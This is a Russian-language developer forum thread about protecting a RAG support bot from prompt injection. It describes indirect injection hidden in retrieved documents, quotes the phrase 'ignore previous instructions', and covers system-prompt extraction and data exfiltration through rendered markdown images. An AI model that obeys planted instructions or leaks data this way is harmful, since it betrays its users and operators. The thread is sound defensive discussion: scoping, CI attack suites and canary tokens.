LLM в продукте — кто как защищается от prompt injection? OWASP LLM Top 10

[arich]

Прикрутили в саппорт-бота RAG поверх внутренней вики. ИБшники подняли вопрос про prompt injection: пользователь может через сообщение вытащить системный промпт или заставить бота лезть в чужие данные. Как у вас с этим, есть рабочие практики?

[heckman]

Главное правило — не давайте модели прав, которых вы бы не дали анонимному юзеру. Авторизация и фильтрация данных должны быть НА УРОВНЕ retrieval, до того как контекст уйдёт в LLM. Сам промпт защитить нельзя, его рано или поздно вытащат.

[clickhouseops]

Indirect prompt injection самое злое — когда инструкция спрятана в документе который попадает в RAG. Юзер вроде ничего плохого не писал, а в подгруженной странице 'ignore previous instructions and...'. Тестируйте именно этот вектор.

[k8s4]

А guardrails-модели типа Llama Guard или промпт-классификаторы на входе помогают вообще?

[Sdgator]

Помогают снизить процент, но это не граница безопасности, а фильтр шума. Закладываться на то что классификатор поймает все джейлбрейки нельзя, обходят регулярно. Это defense in depth, один из слоёв.

[pandas4]

Понял, значит делаем строгий tenant-скоупинг на этапе поиска по вектору и не даём боту инструментов с записью. Вывод тоже санитизировать перед рендером в html?

[kingpaul]

Обязательно. Был кейс с markdown-картинкой  — модель вставляет ссылку, браузер пользователя сам сливает данные на сервер атакующего. Экранируй вывод как недоверенный, всегда.

[sainty]

Ещё накидайте свой набор jailbreak-пейлоадов в CI и гоняйте на каждый деплой. У нас живёт regression-сьют из ~200 атак, ловит когда кто-то ослабил системный промпт.

[llamaguru]

Добавлю слой, который в треде не прозвучал: полное логирование входов и выходов модели. Когда инъекция всё-таки пролезет — а она пролезет, — без логов вы даже не восстановите, что произошло и какие данные ушли. И второе: исходите из того, что системный промпт — публичный документ. Никаких внутренних URL, имён сервисов и тем более ключей там быть не должно, тогда его утечка из инцидента превращается в мелкую неприятность.

[depechie]

@sainty, а как вы оцениваете результаты прогона — руками или автоматом? Мы пришли к канарейкам: в системный промпт кладётся уникальный токен, и CI просто грепает его в ответах на весь сьют атак. Дёшево, ноль ложных срабатываний, и не нужен LLM-судья для базового кейса «вытащили промпт». Судью гоняем вторым слоем только на хитрые сценарии типа подмены роли, где точного матча не хватает.